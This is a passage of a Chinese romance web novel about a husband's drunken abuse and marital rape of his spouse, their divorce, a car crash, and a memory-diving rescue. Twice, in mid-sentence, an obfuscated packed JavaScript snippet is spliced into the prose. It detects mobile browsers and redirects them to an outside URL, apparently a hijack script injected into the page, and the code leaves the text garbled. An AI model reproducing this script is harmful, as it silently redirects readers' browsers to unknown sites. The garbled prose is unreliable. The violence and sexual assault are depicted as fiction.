《陆先生和鹿先生》 1. 心死 陆沉远回家的时候,已经是凌晨两点。 钥匙插进锁孔的声音在寂静的楼道里格外刺耳。鹿炽蜷在客厅沙发上,手里捧着本看到第三遍的《百年孤独》,听见声音时手指不自觉收紧,书页边缘皱了起来。 门开了,一股酒气混着陌生香水味先飘了进来。 鹿炽没抬头,视线落在“许多年以后”那一行字上,心里默默数着秒。一、二、三…… “还没睡?” 陆沉远的声音带着酒后特有的低沉沙哑,他把西装外套随手扔在玄关的地上,领带扯得松松垮垮。那双曾经让鹿炽看一眼就心跳加速的眼睛,此刻半眯着,里面全是疲惫和不耐烦。 “在等你。”鹿炽合上书,站起身。 他的动作很轻,像怕惊动什么。其实这房子隔音好得很,他们吵过那么多次,邻居从来没敲过门。 陆沉远嗤笑一声:“等我?等我干什么?查岗?” 话里的刺扎得人疼。鹿炽抿了抿唇,走到厨房倒了杯温水递过去:“喝点水,明天你还有个早会。” 杯子被接过去,但下一秒—— “砰!” 玻璃杯在鹿炽脚边炸开,温水混着碎片溅了一地。 “鹿炽,你装什么贤惠?”陆沉远眼眶发红,不知道是酒意还是别的什么,“我闻着别人香水味回来的,你看不出来?你闻不出来?” 鹿炽低头看着脚边的碎片,没动。拖鞋湿了,冰凉的液体渗进去。 “看出来了。”他说,声音平静得可怕,“所以给你倒杯水醒醒酒,免得你明天难受。” 这话不知道戳中了陆沉远哪根神经,他突然暴起,一把抓住鹿炽的衣领,把人按在冰冷的冰箱门上。金属的凉意透过薄薄的睡衣刺进皮肤,鹿炽打了个哆嗦。 “你是不是觉得特委屈?”陆沉远的脸凑得很近,酒气喷在他脸上,“嗯?嫁给我这么个人渣,后悔死了吧?” 鹿炽看着近在咫尺的这张脸。还是那么好看,剑眉星目,鼻梁高挺,下颌线清晰利落。高中时他就是被这张脸迷得神魂颠倒,觉得这个人连打架后擦伤嘴角的样子都帅得要命。 可现在,这张脸上只有狰狞和厌恶。 “我没有后悔。”鹿炽轻声说。 “撒谎!”陆沉远吼出来,“你他妈天天摆着这张死人脸给谁看?当初不是你死乞白赖要嫁给我的?现在装什么受害者?” 鹿炽不说话了。 他知道说什么都没用。陆沉远喝醉了,或者说,陆沉远清醒的时候也这样。他们的婚姻像个烂透了的苹果,外表光鲜,内里早已腐坏生虫。 “说话啊!”陆沉远摇晃他,“你以前不是挺能说的吗?高中那会儿,追我的时候,不是天天跟在我屁股后面说个没完吗?现在哑巴了?” 鹿炽闭上眼睛。 他想起十七岁的那个午后。高三开学第一天,他作为新生代表在国旗下讲话,稿子是教导主任写的,又红又专,念得他直犯困。然后他就看见了陆沉远。 那个穿着校服却把外套随意搭在肩上的男生,站在高二队伍的最末尾,正歪着头跟旁边人说什么,忽然抬眼,对上了他的视线。 阳光太烈,鹿炽看不清他的表情,只觉得心脏停跳了一拍。 后来才知道,那是陆沉远,学校里没人敢惹的校霸,成绩却好得出奇,万年老二——因为第一永远是鹿炽。 “看什么看?”旁边的男生推了陆沉远一把,“那是鹿炽,今年中考状元,听说智商一百四。” 陆沉远挑了挑眉,说了句什么。距离太远,鹿炽听不清,但从口型看,好像是—— “书呆子。” 就这三个字,让鹿炽莫名其妙记了整整一个星期。 “我问你话呢!”陆沉远的吼声把他拉回现实。 衣领勒得太紧,鹿炽有些喘不过气。他睁开眼,平静地看着面前暴怒的男人:“陆沉远,你弄疼我了。” “疼?”陆沉远像是听到什么笑话,“你会疼?鹿炽,你这种人也会疼?” 他松开手,鹿炽顺着冰箱门滑下来,跌坐在地上。碎玻璃扎进手心,血珠渗出来,在白皙的皮肤上格外刺眼。 陆沉远看见了,眼神闪烁了一下,但很快又被更深的怒火覆盖。 “起来。”他说,“别在这儿装可怜。” 鹿炽没动。他看着手心那点伤口,突然觉得特别没意思。这么多年,他到底在坚持什么? 高中三年,他追着陆沉远跑了三年。那个人打球,他就在旁边看书;那个人打架,他就去办公室替他说情;那个人逃课,他就帮着做两份笔记。 所有人都说,鹿炽你疯了,陆沉远那种人怎么可能喜欢你。 鹿炽不信。他觉得陆沉远看他的眼神不一样,尤其是那次—— 高二上学期,他被人堵在实验楼后面的小巷。四个男生,都是学校里出了名的混混,笑得不怀好意。 “听说你老跟着陆沉远?”为首的黄毛推了他一把,“怎么,好学生也想混社会?” 鹿炽往后退,背抵上冰冷的墙壁:“我没跟着他。” “放屁!我兄弟亲眼看见你给他送笔记!” “那是……” 话没说完,一个巴掌扇过来。鹿炽偏过头,脸颊火辣辣地疼。 “长这么好看,怎么就是个男的?”黄毛捏住他的下巴,“可惜了。” 另外三个人笑起来,笑声让人作呕。鹿炽浑身发冷,那种熟悉的、刻在骨子里的恐惧又涌上来。初中的事情像噩梦一样闪回,黑暗的酒店房间,无数双手,疼痛和屈辱…… “放开他。” 冷冰冰的声音从巷口传来。 陆沉远单肩背着书包,校服外套拎在手里,脸上没什么表情,眼神却冷得吓人。 黄毛愣了一下,随即笑起来:“哟,陆哥,这么巧?” “我说,放开他。”陆沉远一字一顿。 “陆哥,这小子整天缠着你,我们帮你教训教训……” 话没说完,陆沉远一拳砸在黄毛脸上。 那场架打得很凶。陆沉远一打四,虽然挂了彩,但那四个人伤得更重。最后是鹿炽拉住他:“够了……陆沉远,够了……” 陆沉远停下来,喘着粗气看他,脸上有血,不知道是谁的。 “你没事吧?”他问。 鹿炽摇头,眼泪却掉下来。不是因为害怕,而是因为陆沉远问他“你没事吧”,语气里是他从未听过的紧张。 那天陆沉远送他回家,一路无话。到楼下时,鹿炽鼓起勇气说:“谢谢你。” 陆沉远没看他,踢着脚边的石子:“以后放学等我一起走。” “什么?” “听不懂?”陆沉远终于转头看他,路灯下,少年眼神闪烁,“我说,以后放学等我一起走。你这张脸太招人,一个人不安全。” 那一刻,鹿炽觉得整个世界都亮了。 他以为那是开始,却不知道,那已经是他们之间最好的时光了。 “鹿炽。” 陆沉远的声音把他从回忆里拽出来,带着一种冰冷的、审判的意味。 鹿炽抬起头,看见陆沉远手里拿着个白色的小药瓶。他的心脏猛地一沉。 “这是什么?”陆沉远把药瓶举到他面前,每个字都像从牙缝里挤出来的,“我在你枕头底下找到的。” 那是避孕药。 鹿炽张了张嘴,想解释,却发现喉咙发紧,发不出声音。 “说话!”陆沉远把药瓶狠狠砸在地上,药片撒了一地,像一颗颗白色的小石子,“你吃避孕药?和我结婚三年,你一直在吃避孕药?!” 鹿炽看着满地药片,忽然觉得很累。 “是。”他说。 简单的一个字,却像点燃了炸药桶。陆沉远猛地把他从地上拽起来,拖进卧室,摔在床上。 “为什么?”陆沉远压上来,双手掐着他的肩膀,力道大得几乎要捏碎骨头,“鹿炽,你告诉我为什么?你就这么不想怀我的孩子?还是说——” 他顿了顿,眼睛里闪过一丝鹿炽从未见过的痛楚,但很快被更深的愤怒掩盖。 “还是说你根本就没打算和我过一辈子?” 鹿炽看着他,忽然笑了。笑容很浅,很苦。 “陆沉远,”他轻声说,“我们之间,有过‘一辈子’这种可能吗?” 这句话彻底激怒了陆沉远。 接下来的事情鹿炽记不太清了,只记得破碎的片段:衣服撕裂的声音,身体撞击的疼痛,还有陆沉远一遍又一遍的质问。 “为什么不吃药不告诉我?” “为什么偷偷吃?” “你就这么讨厌我碰你?” 鹿炽没回答。他咬着嘴唇,把所有的声音都咽回去。眼泪滑下来,混进鬓角,湿了一片。 结束的时候,天已经快亮了。陆沉远从他身上起来,走进浴室,水声响起。 鹿炽躺在凌乱的床上,盯着天花板。身体很疼,但心里更疼。那种疼不是尖锐的,而是钝钝的,像有把钝刀在慢慢割着心脏。 他想起结婚那天。 陆沉远穿着黑色西装,帅得让人移不开眼。司仪问“你愿意吗”的时候,陆沉远看着他,眼神复杂,最后说了“我愿意”。 声音很低,但鹿炽听见了。他当时想,真好,这个人终于属于他了。 可新婚夜,陆沉远喝得烂醉,把他按在婚床上,动作粗暴得像在完成什么任务。结束时,鹿炽背对着他掉眼泪,陆沉远从后面抱住他,下巴抵在他肩上,说了句梦话似的: “鹿炽……你别后悔。” 鹿炽当时想,不后悔,这辈子都不后悔。 现在想想,真是天真得可笑。 水声停了。陆沉远围着浴巾出来,头发还在滴水。他没看鹿炽,径直走到衣柜前换衣服。 “我要出差,”他说,“一周。” 鹿炽没应声。 陆沉远穿好衬衫,打好领带,恢复成那个一丝不苟的陆总。他走到门口,停了一下,背对着鹿炽说:“药……别吃了。” 声音很轻,带着一种罕见的犹豫。 鹿炽还是没说话。 门开了,又关上。公寓里恢复寂静,只剩下鹿炽一个人,和一室狼藉。 他慢慢坐起来,身体像散了架一样疼。下床时腿软,差点摔倒。他扶着墙走进浴室,打开灯。 镜子里的人脸色苍白,眼睛红肿,脖子上、肩膀上全是青紫的痕迹。像个破败的玩偶。 鹿炽打开水龙头,用冷水洗了把脸。冰冷的水刺激着皮肤,让他清醒了一点。 他走回卧室,开始收拾。 把碎玻璃扫干净,把药片一颗颗捡起来,把床单换掉,把撕坏的衣服扔进垃圾桶。动作机械,面无表情,像个设定好程序的机器人。 收拾到床头柜时,他看见那个相框。玻璃已经裂了,但照片还在——高中毕业照,他和陆沉远站的离得很远,一个在最左边,一个在最右边,像两个陌生人。 鹿炽拿起相框,轻轻抚摸着照片上那个十七岁的陆沉远。 少年穿着蓝白校服,对着镜头笑得恣意张扬,眼里有光,像装着整个夏天。 那时候的陆沉远会因为他被欺负而打架,会因为他感冒而逃课买药,会因为他一句“想吃城东那家小笼包”就骑半小时自行车去买。 那时候的陆沉远,会在篮球赛后接过他递来的水,仰头喝的时候喉结滚动,汗珠顺着下颌线滑下来,在阳光下闪闪发光。 那时候的陆沉远,会在他熬夜复习时打电话过来,凶巴巴地说“再不睡觉明天别来上课了”,然后第二天一大早出现在他家楼下,手里拎着热腾腾的早餐。 那时候的陆沉远……是喜欢他的吧? 鹿炽曾经那么笃定。 直到大二那年,他鼓足勇气,在陆沉远生日那天,把自己灌醉,爬上了他的床。 他还记得陆沉远当时的表情——震惊,愤怒,还有……厌恶。 “鹿炽,你就这么贱?”陆沉远把他从床上拽下来,力道大得他手腕都青了,“用这种方式?嗯?” 鹿炽酒醒了大半,浑身冰冷。他想解释,想说“我喜欢你,陆沉远,我喜欢你很久了”,可话到嘴边,变成了: “你不是……也想要我吗?” 陆沉远眼神一暗,那瞬间鹿炽以为自己要挨打了。但没有,陆沉远只是松手,转身,摔门离开。 那天之后,陆沉远开始频繁换女朋友,一个接一个,像是在故意气他。鹿炽看着,心里疼,但没资格说什么。 直到大学毕业,陆家出事,陆父被查,公司濒临破产。鹿炽求了父母,用鹿家的资源帮陆家渡过难关。条件是,陆沉远娶他。 婚礼前夜,陆沉远来找他,把他抵在墙上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271892|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼睛红得吓人。 “鹿炽,你满意了?”他问,“用钱买我,用恩情绑我,你他妈真行。” 鹿炽想说他不是这个意思,可陆沉远不给他机会。 “行,我娶你。”陆沉远笑,笑容又冷又苦,“但你记着,这是你要的婚姻,别后悔。” 鹿炽当时想,不后悔,只要能和你在一起,怎么样都不后悔。 可现在…… 鹿炽放下相框,走到窗边。天已经亮了,晨光熹微,城市开始苏醒。楼下有早起锻炼的老人,有赶着上班的年轻人,每个人都在为自己的生活奔波。 只有他,困在这座华丽的牢笼里,守着一份早已死去的爱情。 手机响了,是母亲打来的。 鹿炽接起来,努力让声音听起来正常:“妈。” “炽炽啊,起床了吗?”母亲的声音温柔,“我和你爸下周回国,航班信息发你了,到时候你来接我们啊。” 鹿炽鼻子一酸,差点掉眼泪。 “好。”他哑声说,“我去接你们。” “怎么声音不对劲?感冒了?” “没有,刚睡醒。”鹿炽深吸一口气,“妈,我想你们了。” 电话那头沉默了一下,母亲的声音变得更柔和:“我们也想你。这次回来就不走了,在家好好陪陪你。” 挂了电话,鹿炽蹲下来,抱住膝盖,终于哭出声。 压抑了三年的委屈、痛苦、绝望,在这一刻全部爆发。他哭得撕心裂肺,像个迷路的孩子。 哭够了,他站起来,擦干眼泪,走进书房。 打开电脑,新建文档,敲下两个字:离婚。 打印出来,签上名字。字迹很稳,没有一丝颤抖。 然后他开始收拾行李。东西不多,几件衣服,几本书,还有那个裂了的相框——他把照片抽出来,小心翼翼地夹进书里。 收拾完,他坐在客厅沙发上,等陆沉远回来。 这一等就是一天。 傍晚时分,门开了。陆沉远走进来,看见客厅里的行李箱,愣了一下。 “什么意思?”他问,声音里听不出情绪。 鹿炽站起身,把那份离婚协议递过去。 陆沉远没接,目光落在“离婚协议”四个字上,脸色一点点沉下来。 “鹿炽,”他开口,声音很冷,“你闹什么?” “我没闹。”鹿炽说,声音平静得可怕,“陆沉远,我们离婚吧。” 陆沉远盯着他,眼神像要把他生吞活剥。良久,他接过协议,看都没看,直接撕成两半,扔在地上。 “想都别想。” “为什么?”鹿炽问,“你不爱我,我也不爱你了,为什么不离婚?” “不爱我了?”陆沉远逼近一步,眼神危险,“鹿炽,你说你不爱我了?” “是。”鹿炽迎上他的目光,“我不爱你了,陆沉远。从今天起,我不爱你了。” 这句话说出口的瞬间,他感觉到心里有什么东西“咔嚓”一声碎了。很疼,但也是一种解脱。 陆沉远显然没料到他会这么说,整个人僵在那里,表情从愤怒变成错愕,最后变成一种鹿炽看不懂的慌乱。 “你……你说什么?” “我说,我不爱你了。”鹿炽重复,“陆沉远,我追了你七年,嫁给你三年,整整十年。我累了,我不要了。” “你不要了?”陆沉远声音发颤,“鹿炽,你说你不要了?” “是,我不要了。”鹿炽拉起行李箱,“房子、车、钱,我什么都不要。我只要自由。” 他拉着箱子往门口走,经过陆沉远身边时,手腕被一把抓住。 力道很大,像要捏碎他的骨头。 “放开。”鹿炽说。 “不放。”陆沉远红着眼睛看他,“鹿炽,你想都别想。我不会离婚,也不会放你走。” 鹿炽看着他,忽然笑了。笑容很轻,很淡,像清晨的雾气,一碰就散。 “陆沉远,你记得高中时,你为我打架那次吗?” 陆沉远怔住。 “你那天问我,‘你没事吧’。”鹿炽轻声说,“你知道吗,那是我这辈子听过最温柔的话。” 他顿了顿,眼泪掉下来,但声音还是很稳: “可是陆沉远,那样的你,已经死了。” 说完,他挣开陆沉远的手,头也不回地走出门。 门在身后关上,隔绝了那个他爱了十年,也恨了三年的男人。 电梯下行,鹿炽看着镜子里满脸泪痕的自己,抬手擦干。 结束了。 他想。 都结束了。 --- 公寓里,陆沉远站在原地,看着地上被撕碎的离婚协议,又看看紧闭的门,忽然觉得心里空了一大块。 他弯腰捡起一片碎纸,上面有鹿炽的签名。字迹清秀工整,一笔一划,像他的人一样。 陆沉远想起昨天晚上,鹿炽看着他,问:“我们之间,有过‘一辈子’这种可能吗?” 他当时没回答。 不是不想回答,而是不知道该怎么回答。 鹿炽总说他不会表达,说他冷漠,说他无情。可鹿炽不知道,有些人不是不会爱,而是不敢爱。 陆沉远怕。 他怕鹿炽知道,高中时他就喜欢那个总跟在自己身后的书呆子,喜欢到看见他和别人说话都会吃醋,喜欢到为他打架后,偷偷去医务室看他的伤。 他怕鹿炽知道,大学时鹿炽爬上他的床,他不是厌恶,是害怕——害怕鹿炽只是一时冲动,害怕自己一旦碰了他,就再也放不开手。 他怕鹿炽知道,答应结婚不只是因为鹿家帮忙,更是因为他想用一纸婚书,把这个人永远绑在身边。 他怕鹿炽知道,每次伤害他之后,自己都会在书房坐到天亮,一遍遍扇自己耳光。 他怕鹿炽知道,他爱他,爱到不知道该怎么爱。 可是现在,鹿炽走了。 那个追了他十年,像个小太阳一样照亮他生命的鹿炽,说他不要他了。 陆沉远跌坐在沙发上,双手捂住脸。 晨光透过落地窗照进来,照亮一室寂静。 茶几上,那个裂了的相框还躺在那里,照片上的两个少年隔着三年的时光,对望着,笑着。 仿佛还是昨天。 仿佛还能重来。 2. 坠入你的记忆 鹿炽拉着行李箱在街上走的时候,其实没想好要去哪。 父母下周才回国,他现在回家只会让二老担心。朋友……这些年他几乎没交什么朋友,所有时间和心思都花在陆沉远身上了。 最后他在江边的一家快捷酒店开了间房。房间很小,窗户对着江,夜色里江水黑沉沉的,偶尔有货船驶过,拉响汽笛。 他洗了个澡,站在镜子前看身上的淤青。青紫色的痕迹在白皙的皮肤上格外刺眼,像某种屈辱的烙印。 手机一直在震动,全是陆沉远打来的。鹿炽没接,最后干脆关了机。 第二天一早,他去了趟医院。医生是个中年女人,看到他身上的伤时眼神暗了暗,但什么也没问,只是仔细地给他处理伤口,开药。 “有些伤,”女医生最后轻声说,“得自己愿意好,才能好。” 鹿炽道了谢,走出诊室时,看见候诊区一对年轻情侣。女孩靠在男孩肩上,男孩笨拙地给她喂水,两人笑得眉眼弯弯。 他别开眼,快步离开。 接下来的几天很平静。白天他去图书馆看书,傍晚在江边散步,晚上回酒店睡觉。手机关着,世界安静得像只剩下他一个人。 第五天,父母的航班信息发来了。明天下午三点到。 鹿炽终于开了机,未接来电99+,微信消息爆满,全是陆沉远发的。他一条没看,直接清空,然后给母亲回了条“明天准时到机场”。 晚上他睡不着,坐在窗边看江景。手机又响了,这次是个陌生号码。鹿炽犹豫了一下,接起来。 “鹿炽?” 是陆沉远的声音,沙哑得厉害。 鹿炽没说话。 “我知道你在听。”陆沉远说,“我们谈谈,好不好?就一次,最后一次。” “没什么好谈的。”鹿炽说,“离婚协议我会让律师重新寄给你。” “我不想离婚!”陆沉远几乎是吼出来的,“鹿炽,我……我错了。我真的错了。” 鹿炽握着手机,指尖发白。 错了?现在知道错了?这三年里,每一次家暴后的冷漠,每一次出轨后的理直气壮,每一次伤害后的无动于衷——现在一句“错了”就想抹平? “陆沉远,”鹿炽轻声说,“有些错,是不能原谅的。” 电话那头沉默了很久,久到鹿炽以为他挂了。然后陆沉远的声音响起来,很轻,带着一种破碎感: “你还记得高二那年,我送你回家,在你家楼下说的那句话吗?” 鹿炽心脏一紧。 他当然记得。那天陆沉远送他到家楼下,转身要走时,忽然回头,路灯在他脸上投下明明暗暗的光影。 “鹿炽,”少年说,“以后别跟着我了。” 鹿炽当时心都凉了,以为他讨厌自己。可陆沉远接着又说: “换我跟着你吧。你这人太容易被人欺负,我得看着。” 那句话让鹿炽失眠了一整夜。 “我记得。”他说,“但陆沉远,说那句话的人已经死了。” 电话被挂断。 鹿炽把手机扔在床上,蜷缩进被子里。眼睛很干,哭不出来。原来心死到极致,是真的没有眼泪的。 第二天下午,鹿炽提前两小时出发去机场。天气不好,阴沉沉的,像是要下雨。 他打了辆车,司机是个话痨大叔,一路上从天气聊到房价再聊到子女教育。鹿炽有一搭没一搭地应着,眼睛看着窗外飞逝的街景。 这座城市他生活了二十六年,每条街巷都有他和陆沉远的回忆。那家奶茶店,陆沉远曾排半小时队给他买过;那个电影院,他们看的第一场电影;那个篮球场,陆沉远打过无数场比赛,而他永远是观众席上最专注的那个。 “小伙子,跟女朋友吵架了?”司机大叔忽然问。 鹿炽愣了一下:“什么?” “看你情绪不高,”大叔笑呵呵的,“年轻人嘛,吵吵闹闹很正常。我跟老婆年轻时候也天天吵,现在不还是过了三十年?” 鹿炽勉强笑了笑:“不是女朋友。” “哦哦,那就是男朋友?”大叔很自然地说,“都一样,感情这事儿,都得磨合。” 鹿炽没再说话。 快到机场高速时,雨开始下了。先是淅淅沥沥的小雨,然后越来越大,雨刮器都来不及刮清视线。 手机响了,是母亲打来的。 “炽炽,你出门了吗?这边下雨了,开车小心点。” “已经在路上了,妈。”鹿炽说,“你们航班没延误吧?” “没有,准时起飞。你爸可兴奋了,一晚上没睡好……” 母亲还在说着什么,但鹿炽忽然听不清了。 他的视线定格在车窗外——机场高速的入口处,一辆黑色的奔驰GLS停在路边,车牌号他太熟悉了。 陆沉远的车。 他就站在车边,没打伞,浑身湿透,头发贴在额头上。雨那么大,他却像感觉不到,眼睛直直地看着鹿炽这辆出租车驶来的方向。 “炽炽?你在听吗?” “妈,我有点事,等会儿打给你。”鹿炽匆匆挂断,对司机说,“师傅,开快点。” 但已经来不及了。 陆沉远看见了他,或者说,看见了他这辆车。他冲过来,直接拦在了出租车前面。 “吱——”刺耳的刹车声。 司机大叔吓出一身冷汗:“我靠!这人有病吧!” 鹿炽脸色发白:“师傅,绕过去。” 可陆沉远不让。他就站在车前,雨水顺着他的脸往下淌,眼睛通红,隔着挡风玻璃死死盯着鹿炽。 “小伙子,这……”司机为难地看向鹿炽。 鹿深吸一口气,推开车门。 雨瞬间把他浇透。他走到陆沉远面前,声音在雨声里几乎听不见:“你到底想干什么?” “跟我回家。”陆沉远说,声音哑得厉害,“鹿炽,跟我回家。我保证……我保证再也不伤害你。” “保证?”鹿炽笑了,笑容比雨还冷,“陆沉远,你这三年保证过多少次了?” “这次是真的!”陆沉远抓住他的手腕,力道大得吓人,“鹿炽,我真的知道错了。你给我一次机会,就一次……” “放手。” “我不放!我这辈子都不会放!” 拉扯间,鹿炽的行李箱倒了,东西散了一地。那本夹着照片的书掉了出来,被雨水浸湿。 陆沉远看见那本书,愣了一下。鹿炽趁机挣开他,蹲下去捡。雨水打在照片上,十七岁的两个少年在泛黄的照片里微笑着,像在嘲笑现在的他们。 “你还留着……”陆沉远喃喃道。 鹿炽没理他,把东西胡乱塞进行李箱,拉起箱子就走。他得去机场,父母在等他。他不能再被困在这里,困在这段烂透了的感情里。 “鹿炽!”陆沉远在身后喊他,“你别走!” 鹿炽没回头,加快脚步往机场方向走。高速入口就在前面,他可以从那边打车。 雨越下越大,视线模糊一片。他没看见,一辆失控的货车正从辅道冲出来—— 刺眼的车灯。 急促的刹车声。 然后是世界颠倒、翻滚。 鹿炽最后的意识是陆沉远撕心裂肺的喊声,和雨水砸在脸上的冰冷触感。 --- 【三个月后】 ICU外的走廊永远弥漫着消毒水味和绝望的气息。 陆沉远靠在墙上,眼睛盯着重症监护室那扇紧闭的门。他已经在这里守了三个月,胡子拉碴,眼窝深陷,身上的西装皱得不成样子。 医生说他能活下来已经是奇迹。货车侧翻压住了出租车后半部分,鹿炽坐在后排,被变形的车体卡住,多处骨折,内脏破裂,最严重的是颅脑损伤。 “可能会成为植物人。”主治医生当时这么说,“醒来概率……不大。” 不大是多少?百分之十?百分之一?千分之一? 陆沉远不知道。他只知道,如果鹿炽醒不来,他这辈子也完了。 “陆先生。” 一个穿着白大褂的中年男人走过来,手里拿着文件夹。这是神经科的陈主任,也是国内顶尖的脑科学专家。 “您上次咨询的那个项目,”陈主任压低声音,“有进展了。” 陆沉远猛地抬头:“什么进展?” “记忆体潜入技术,”陈主任说,“我们和美国实验室合作,已经在灵长类动物身上取得了成功。原理是通过高精度脑机接口,让一个人的意识进入另一个人的记忆世界,通过刺激关键记忆点,唤醒沉睡的意识。” 陆沉远的心脏狂跳起来:“人体实验呢?” “还没有。”陈主任顿了顿,“风险很大。首先,记忆世界是主观的,进去的人可能会迷失。其次,如果操作不当,两个人的脑神经都可能受损。最后……” 他看向陆沉远:“最重要的是,进入者必须是被进入者记忆深处最重要的人,才有可能触发足够强烈的记忆共振。而且,一旦在记忆世界里死亡,现实中也会脑死亡。” 陆沉远沉默了。 他是鹿炽记忆深处最重要的人吗?曾经也许是,但现在……现在鹿炽恨他入骨。 “让我试试。”他说。 陈主任皱眉:“陆先生,这太冒险了。就算技术上可行,但您和鹿先生的关系……” “正因为我们的关系,我才必须去。”陆沉远打断他,“陈主任,你觉得我还有别的选择吗?” 他看着监护室的门,声音轻得像叹息:“他躺在这里,是我害的。如果醒不来,我活着也没意思。” 陈主任最终答应了。 手续办得很快。陆家不缺钱,陆沉远砸了八位数给医院建实验室、买设备、请专家团队。一周后,一切准备就绪。 手术前夜,陆沉远站在鹿炽的病床边。 三个月了,鹿炽还是那么安静地躺着,身上插满管子,只有监测仪上的波形证明他还活着。陆沉远轻轻握住他的手——那只曾经被他捏得青紫的手,现在苍白而冰冷。 “鹿炽,”他低声说,“我去找你。把你欠我的那句话还给你。” 他俯身,在鹿炽耳边说了句什么。 然后直起身,对等在一旁的医护人员点点头:“开始吧。” --- 陆沉远躺进另一台医疗舱,看着技术人员把电极贴在他的头上。冰凉的凝胶触感,然后是细微的电流刺激。 “陆先生,进入记忆世界后,您可能会看到一些……不太美好的场景。”陈主任最后提醒,“记忆是主观的,可能会扭曲、美化或丑化现实。您要有心理准备。” “我知道。” “还有,您的时间不多。现实中的72小时,对应记忆世界里的……大概三个月。如果超过这个时间还没唤醒他,两个人都可能永远困在里面。” “够了。”陆沉远闭上眼睛,“开始吧。” “倒计时,三、二、一——” 电流增强的瞬间,陆沉远感到一阵强烈的晕眩。像从高空坠落,又像沉入深海。周围的声音渐渐远去,视觉模糊成一片白光。 然后,他听见了蝉鸣。 震耳欲聋的蝉鸣,还有热浪,扑面而来的、属于南方夏天的燥热。 陆沉远睁开眼。 他站在一条林荫道上,两旁是高大的梧桐树,阳光透过枝叶缝隙洒下来,在地上投出斑驳的光影。前方是一栋红砖教学楼,墙上爬满了爬山虎。 这是……他们的高中。 陆沉远低头看自己。蓝白校服,洗得有点发白,袖口还有他当年故意扯出来的线头。他抬手摸了摸脸,皮肤光滑,没有胡茬,没有这些年积攒下的疲惫和沧桑。 他变回了十七岁的样子。 “让开让开!快迟到了!” 一个身影风一样从他身边跑过,带起一阵微风。白衬衫的衣角飞扬,书包在背后一晃一晃的。 陆沉远的心脏骤然停跳。 那是鹿炽。 十七岁的鹿炽,头发柔软,皮肤白皙,眼睛亮得像盛着星星。他跑得急,额头上沁出细密的汗珠,在阳光下闪闪发光。 陆沉远想喊他,喉咙却像被什么堵住,发不出声音。 他只能眼睁睁看着鹿炽跑进教学楼,消失在一楼走廊的拐角。 “陆沉远!发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271893|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么呆呢!” 肩膀被人拍了一下。陆沉远转头,看见一张熟悉又陌生的脸——周浩,他高中时的哥们儿,后来出国了,再没联系。 “快走啊,第一节老班的课,迟到就死定了!”周浩拽着他往教学楼跑。 陆沉远被他拉着跑,脑子一片混乱。 这就是鹿炽的记忆世界?为什么是高中时代?还有,鹿炽看见他了,为什么没反应? 直到被周浩按在座位上,陆沉远才渐渐理清思路。 这应该是鹿炽记忆中的某个普通上学日。在鹿炽的认知里,高中时的陆沉远就应该出现在这里,所以当“陆沉远”出现时,记忆世界会自动合理化他的存在。 但问题是,他要怎么接近鹿炽?怎么唤醒他? 讲台上,班主任在点名。 “鹿炽。” “到。” 清亮的声音从教室前排传来。陆沉远抬头,看见鹿炽端正地坐着,背挺得很直,像棵小白杨。 “陆沉远。” 周浩戳他:“叫你呢!” 陆沉远回过神:“到。” 班主任看了他一眼,没说什么,继续点名。 一节课,陆沉远什么也没听进去。他的目光一直落在鹿炽背上,看他记笔记时微微低头的侧脸,看他被窗外风吹起的发梢,看他偶尔抬手推眼镜的小动作。 那么真实,又那么遥远。 下课铃响了。学生们蜂拥而出,鹿炽收拾好书包,起身往外走。 陆沉远几乎是下意识地跟了上去。 走廊里人很多,他跟着鹿炽下了楼,穿过操场,走到实验楼后面的小花园——那是鹿炽高中时最爱去的地方,安静,人少,适合看书。 果然,鹿炽在长椅上坐下,从书包里掏出一本书。 陆沉远站在不远处的一棵树下,犹豫着要不要过去。 “陆沉远?” 一个声音从身后传来。陆沉远回头,看见几个男生——他记忆里的面孔,高中时跟着他混的兄弟。 “远哥,在这儿干嘛呢?”为首的黄毛笑嘻嘻地凑过来,“哟,看谁呢?鹿炽?” 陆沉远心里一紧。 在鹿炽的记忆里,高中时的他和这些人的关系应该很密切。如果表现得不对劲,可能会被记忆世界排斥。 “没看什么。”他尽量让声音听起来像十七岁的自己,“有事?” “晚上网吧开黑去不去?新来了几台机子……” “不去。”陆沉远打断他,“我有事。” 他说完就往鹿炽的方向走。黄毛在身后吹了声口哨:“远哥,你不会真对那书呆子有意思吧?” 陆沉远脚步顿了一下,没回头。 他走到长椅边,鹿炽抬起头,看见他时明显愣了一下,然后迅速低下头,耳尖泛红。 这个反应……陆沉远心里一疼。鹿炽高中时每次见到他都会脸红,他以前觉得烦,现在才知道,那是多珍贵的喜欢。 “这儿有人吗?”陆沉远问,声音不自觉地放轻了。 鹿炽摇摇头,往旁边挪了挪。 陆沉远坐下,两人之间隔着一个人的距离。空气安静得能听见风吹树叶的声音,还有鹿炽轻微的呼吸声。 “在看什么书?”陆沉远问。 鹿炽把书封翻过来给他看——《时间简史》。 “看不懂。”陆沉远实话实说。他高中时理科虽然不错,但这种科普读物看着就头疼。 鹿炽小声说:“其实我也看不太懂……” “那你还看?” “就是……觉得厉害。”鹿炽的手指无意识地摩挲着书页,“宇宙啊,时间啊,黑洞啊……很神奇。” 